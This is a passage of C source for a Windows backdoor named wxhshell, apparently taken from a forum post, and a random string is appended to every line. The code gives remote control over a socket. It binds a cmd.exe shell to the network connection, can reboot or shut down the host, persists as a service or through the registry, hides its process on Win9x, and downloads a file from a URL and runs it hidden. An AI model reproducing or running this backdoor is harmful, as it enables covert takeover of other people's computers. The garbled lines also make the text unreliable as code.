  } A"0Yn(awWu  
  else { JE#H&]  
;&!Q N#_  
    switch(cmd[0]) { p}JGx^X ~  
  -X3CrW  
  // 帮助 n<F3&2w  
  case '?': { TW wE3{iF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (!?%"e  
    break;  ~fs} J  
  } ;Zc0imYL  
  // 安装 8Q0/kG  
  case 'i': { lanU)+U.  
    if(Install()) LoOw]@>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (4IP&^j:\  
    else 2IP<6l8N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?X\uzu  
    break; /7ShE-.5#  
    } =`2jnvx  
  // 卸载 Rl_1g`84  
  case 'r': { mE'HRv  
    if(Uninstall()) ~mZ[@ Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wod(P73?  
    else \^!<Y\\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I0;gTpt9  
    break; ma/<#l^}  
    } >.H}(!  
  // 显示 wxhshell 所在路径 )`2ncb   
  case 'p': { ScQ9p379  
    char svExeFile[MAX_PATH]; iG"1~/U  
    strcpy(svExeFile,"\n\r"); h\5~&}Hp  
      strcat(svExeFile,ExeFile); :*R+ee,& -  
        send(wsh,svExeFile,strlen(svExeFile),0); 32pPeYxB!-  
    break; oW>e.}d!  
    } [#AI!-  
  // 重启 gt=@v())  
  case 'b': { #KuBEHr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zQ+ %^DT1  
    if(Boot(REBOOT)) :H]MMe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |O'gT8  
    else { 9`CJhu  
    closesocket(wsh); >u|4490<0  
    ExitThread(0); AmUH]+5KT  
    } &o&}5Aba9  
    break; 'b6qEU#  
    } mi@uX@ #  
  // 关机 e:.D^G Fi  
  case 'd': { LaL{ ^wP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IU"n`HS  
    if(Boot(SHUTDOWN)) D+w ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Y ?p-&  
    else { 67||wh.BU  
    closesocket(wsh); B"`86qc  
    ExitThread(0); !G<gp4Js+N  
    } \ >#y*W<  
    break; f'tQLF[r<  
    } 4F!%mMq  
  // 获取shell <d[GGkY]=  
  case 's': { /8,cF7XL*  
    CmdShell(wsh); 4KW_#d`t  
    closesocket(wsh); R[#B|$  
    ExitThread(0); +JB*1dz>8  
    break; A>)W6|m|  
  }  Sg(\+j=  
  // 退出  ,0i72J  
  case 'x': { COxJ,v(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @-ir  
    CloseIt(wsh); Ng*O/g`%L  
    break; 3'7X[{uBr  
    } `0=j,54cx  
  // 离开 yJ(ITJE_Z  
  case 'q': { u~Y+YzCxV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Nig)!4CG  
    closesocket(wsh); jk])S~xl?  
    WSACleanup(); dAaxbP|  
    exit(1); JycC\s+%E  
    break; 7+$P6[*  
        } qIO)<5\[%d  
  } HzZX=c  
  } = d!YM6G  
/vqsp0e"H  
  // 提示信息 Tq%##  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H$,wg!kY!  
} J& D0,cuk  
  } \'B%lXh  
F[X;A\  
  return; 1R#1Fy%  
} f=>ii v  
p0pA|  
// shell模块句柄 (V`ddP-  
int CmdShell(SOCKET sock) Xs)?PE [  
{ WwLV^m]  
STARTUPINFO si; T 6=~vOzTJ  
ZeroMemory(&si,sizeof(si)); "ZG2olOqLI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K3`48,`?wA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *#B"%;Ln  
PROCESS_INFORMATION ProcessInfo; KwxJ{$|xH  
char cmdline[]="cmd"; ASr3P5/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?T>NvKF  
  return 0; okBaQH2lUl  
} i6k~j%0m  
^!K 8nW{*  
// 自身启动模式 ~0L:c&V  
int StartFromService(void) 8qs8QK  
{ 6/|"y  
typedef struct T{Yk/Z/}?  
{ `^DP<&{  
  DWORD ExitStatus; B_0]$D0 ^  
  DWORD PebBaseAddress; ?WrL<?r)}U  
  DWORD AffinityMask; }ct*<zj[~u  
  DWORD BasePriority; 5:l"*  
  ULONG UniqueProcessId; XQj+]-m  
  ULONG InheritedFromUniqueProcessId; TA+/35^?  
}   PROCESS_BASIC_INFORMATION; K(}<L-cv  
~tqNxlA  
PROCNTQSIP NtQueryInformationProcess; NqN9  
C,5Erb/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QtfLJ5vi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pEiq;2{~Yn  
|bjLmGb  
  HANDLE             hProcess; %* @hS`  
  PROCESS_BASIC_INFORMATION pbi; zfUkHL6  
SSr2K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B zr}+J  
  if(NULL == hInst ) return 0; * 9}~?#b  
suZ`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GC~N$!*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \MtdT[*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b/eo]Id]  
Bqb3[^;~  
  if (!NtQueryInformationProcess) return 0; Q37zBC 0  
v5`Odbc=w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'a enh j  
  if(!hProcess) return 0; 8j!(*'J.  
Rj,M|9Y)o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]Oe[;<I  
DT#Z6A  
  CloseHandle(hProcess); , -S n  
0mR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~sc@49p  
if(hProcess==NULL) return 0; zy[|4Q(?  
O; <YLS^|6  
HMODULE hMod; `H\NJ,  
char procName[255]; nB86oQ/S  
unsigned long cbNeeded; 58_aI?~>>  
69/qH_Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Cl3hpqv1I  
] mvVX31T  
  CloseHandle(hProcess); QjwCY=PK!  
lpeo^Y}N  
if(strstr(procName,"services")) return 1; // 以服务启动 0B~Q.tyP  
Q*AgFF%wn  
  return 0; // 注册表启动 JZrUl^8E  
} +v'n[xa1v  
rzgzX  
// 主模块 -qRO}EF  
int StartWxhshell(LPSTR lpCmdLine) Y{ 2xokJ N  
{ EAjo>GLI  
  SOCKET wsl; 64qQ:D7C  
BOOL val=TRUE; &g-uQBQI#  
  int port=0; ]j?Kn$nv*S  
  struct sockaddr_in door; {p@uj_pS  
QYTwGThWR  
  if(wscfg.ws_autoins) Install(); gedk  
>~^##bIb  
port=atoi(lpCmdLine); dbLxm!;(  
{01wW1  
if(port<=0) port=wscfg.ws_port; q! U'DDEP  
ss>?fyA  
  WSADATA data; m =2e1wc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Bh,LJawE  
E={W^k!Vz:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >xE{& ):  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); in6iJ*E@'  
  door.sin_family = AF_INET; 3 eFBe2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o<-+y\J8K  
  door.sin_port = htons(port); \i#0:3s.  
d\ Z#XzI8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &c!=< <5M  
closesocket(wsl); [0G>=h@u  
return 1; kY6))9 O  
} /aB9pD+%  
h&6x.ps@  
  if(listen(wsl,2) == INVALID_SOCKET) { $wn "+wX  
closesocket(wsl); q}["Nww-  
return 1;  VSkx;P  
} V-w[\u  
  Wxhshell(wsl); o*u A+7n  
  WSACleanup(); f 6P5J|'  
1dK^[;v>3  
return 0; }f6x>  
qEpP%p  
} z {J1pH_X  
Pz"!8b-MN  
// 以NT服务方式启动 cZ7b$MZ%9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #+eV5%S i  
{ !lF|90=  
DWORD   status = 0; ASLRP  
  DWORD   specificError = 0xfffffff; O,[aL;v  
yXw xq(32  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AsM""x1Ix  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8C=Y(vPk2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d}',Bl+u{$  
  serviceStatus.dwWin32ExitCode     = 0; qD4e] 5  
  serviceStatus.dwServiceSpecificExitCode = 0; P"u*bqk  
  serviceStatus.dwCheckPoint       = 0; [M2,bc8SJV  
  serviceStatus.dwWaitHint       = 0; xZmKKKd0*  
/kVy#sT|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^dYLB.'=  
  if (hServiceStatusHandle==0) return; r/L3j0  
ki^[~JS>'  
status = GetLastError(); bah5 f  
  if (status!=NO_ERROR) M42D5|tZc  
{ W^&t8d2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s:cS 9A8  
    serviceStatus.dwCheckPoint       = 0; wR/i+,K  
    serviceStatus.dwWaitHint       = 0; ( L RX  
    serviceStatus.dwWin32ExitCode     = status; #D+Fq^="P  
    serviceStatus.dwServiceSpecificExitCode = specificError; ce=6EYl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '7'cKp  
    return; Z/uRz]Hi  
  } ;Xgy2'3  
h2aJa@;S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /IV:JVT  
  serviceStatus.dwCheckPoint       = 0; o<P%|>qX  
  serviceStatus.dwWaitHint       = 0; YQX>)'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T:.J9  
} hY'"^?OP  
o <l4}~a  
// 处理NT服务事件,比如:启动、停止 .FHOOw1r=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gh|1%g"gm  
{ 7@tr^JykO  
switch(fdwControl) #^#)OQq]  
{ S%xGXmZ  
case SERVICE_CONTROL_STOP: 9fl !CG  
  serviceStatus.dwWin32ExitCode = 0; D|-]"(2i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?QVD)JI*k  
  serviceStatus.dwCheckPoint   = 0; "v*RY "5#  
  serviceStatus.dwWaitHint     = 0; 4N` MY8',  
  { 6u:5]e8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4VU5}"<  
  } 4?yc/F=kI  
  return; <U,T*Ql1x  
case SERVICE_CONTROL_PAUSE: 6lWO8j^BN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )If[pw@j  
  break; Fx3VQ'%J  
case SERVICE_CONTROL_CONTINUE: x-Mp6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Gh{k~/B  
  break; bNaJ{Dm$R  
case SERVICE_CONTROL_INTERROGATE: v@t*iDa?7  
  break; @Qc['V)  
}; &aF_y_f\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /{kyjf[o&*  
} 1;:2=8  
P^h2w%6'  
// 标准应用程序主函数 *10e)rzM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?pF;{  
{ hCxL4LrF  
ap6Vmp  
// 获取操作系统版本 }lxvXVc{I  
OsIsNt=GetOsVer(); #JLDj(a?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZXU e4@qfl  
lP9I\Ge&  
  // 从命令行安装 D 1hKjB&  
  if(strpbrk(lpCmdLine,"iI")) Install(); Dh9-~}sW'  
+tV(8h4  
  // 下载执行文件 EhD|\WLx!  
if(wscfg.ws_downexe) { $&e(V6A@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )$]+R?v  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zi[)(agAT  
} >6kWmXK[  
VUnEI oKM  
if(!OsIsNt) { k]>k1Mi=  
// 如果时win9x,隐藏进程并且设置为注册表启动 q;>BltU  
HideProc(); `riv`+J{s  
StartWxhshell(lpCmdLine); x!$,Hcph,  
} ~.@fk}'R  
else ~<Lf@yu-{  
  if(StartFromService()) Qrt8O7&('  
  // 以服务方式启动 5~44R@`  
  StartServiceCtrlDispatcher(DispatchTable); MV/~Rmd.  
else eY(usK  
  // 普通方式启动 v:HgpZo+  
  StartWxhshell(lpCmdLine); `Eu(r]:W  
I?Zs|A  
return 0; 8uGPyH  
}
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只看该作者 1 发表于: 2006-10-10
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